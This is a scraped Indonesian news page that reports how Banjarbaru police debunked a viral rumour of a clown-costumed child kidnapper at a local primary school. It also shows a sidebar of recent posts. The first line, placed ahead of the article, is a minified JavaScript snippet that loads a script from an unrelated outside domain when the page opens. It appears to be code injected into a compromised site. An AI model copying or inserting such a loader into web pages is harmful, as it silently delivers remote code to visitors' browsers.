(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

HOAX. Kabar ‘Badut’ Penculik Anak di Banjarbaru Ternyata Bermula dari Kejadian Ini


KANALKALIMANTAN.COM, BANJARBARU – Masyarakat kota Banjarbaru dihebohkan pesan ramai beredar di grup WhatsApp ataupun media sosial ihwal kasus penculikan anak. Dalam status yang beredar ini, dituliskan bahwa ada satu orang mengenakan kostum badut dan dua orang menggunakan motor berusaha menculik pelajar sekolah dasar di SDN 4 Sungai Besar.

Berikut, beberapa kutipan didalam status tersebut ; “Modusnya mereka menghibur anak-anak dengan pakaian badut… Kemudian dua orang mencari target anak-anak yang lengah. Untung saja kemarin si anak teriak nangis. Jadi gagal membawa anak tersebut.”

“Target mereka 5 orang anak-anak dan satu anak dijual Rp 5 Juta. Untuk itu saya menghimbau kepada para orang tua agat selalu mengawasi anak-anak baik saat pulang sekolah maupun…..,”

Menyikapi informasi ini, Polsek Banjarbaru Kota segera menindak lanjuti kabar ini dengan menelusuri tempat kejadian awal hingga timbulnya sebuah status mengenai penculikan anak tersebut.

Awalnya, Bhabinkamtibmas Kelurahan Sungai Besar, Bripka Luluk Joko, Senin (13/1/2020) kemarin, mendatangi SDN 4 Sungai Besar untuk menemui Kepala Sekolah serta wali murid yang pertama kali mendengar cerita anaknya akan diculik.

Setelah dilakukan konfirmasi, pihak sekolah mengklarifikasi dan menegaskan bahwa cerita penculikan anak tersebut tidak benar atau hoax.  “Berdasarkan cerita anak tersebut, awalnya dari keisengan dia yang menekan bel rumah seorang warga dan kepergok pemilik rumah dan ditegur pemilik rumah tersebut. Karena si anak tersebut takut dan menceritakan kepada orang tuanya bahwa dia mau diculik,” kata Bripka Luluk Jokom

Kapolsek Banjarbaru Kota, Kompol Purbo Raharjo melalui Kasi Humas Aipda Ahmad Supriyanto, menegaskan bahwa informasi penculikan anak ini tidak benar dan diharapkan masyarakat jangan meneruskan berita Hoax tersebut karena ada ketentuan hukum yang berlaku.

“Kami dari pihak kepolisian tetap menghimbau kepada orang tua murid agar mengajarkan kepada anaknya agar tidak mudah percaya kepada orang lain yang tidak dikenal apabila mau menjemput ataupun memberikan makanan,jangan mudah percaya,dan orang tua juga apabila menjemput anaknya tepat waktu,” ucap Aipda Supri. (kanalkalimantan.com/rico)

Reporter : rico
Editor : cell

 


Al Ghifari

Recent Posts

Amuntai Expo dan Bazar Ekonomi Kreatif 2024

KANALKALIMANTAN.COM, AMUNTAI - Memeriahkan Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU) digelar Amuntai Expo… Read More

9 jam ago

Warga Muhammadiyah Banjarbaru Berhalalbihalal di Masjid At Taqwa

KANALKALIMANTAN.COM, BANJARBARU - Pimpinan Cabang Muhammadiyah Banjarbaru Utara menggelar halalbihalal sekaligus Hari Bermuhammadiyah kali pertama… Read More

12 jam ago

5 Mei Hari Bidan Sedunia

KANALKALIMANTAN.COM – Negara-negara di dunia merayakan Hari Bidan Sedunia yang jatuh pada 5 Mei setiap… Read More

17 jam ago

Syamsudin Noor Jadi Bandara Domestik, Begini Respon Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pencopotan status internasional pada Bandara Syamsudin Noor Banjarmasin yang terletak di Kota… Read More

18 jam ago

Presiden Jokowi di Booth PLN PEVS 2024, Dirut PLN Paparkan Kesiapan Ekosistem Kendaraan Listrik

KANALKALIMANTAN.COM, JAKARTA - Presiden Republik Indonesia Joko Widodo (Jokowi) mengunjungi booth PT PLN (Persero) dalam… Read More

20 jam ago

Akhir Pekan Pasti Hemat, Berikut Promo BRI hingga 30 Persen di 8 Kota Indonesia

KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More

1 hari ago

This website uses cookies.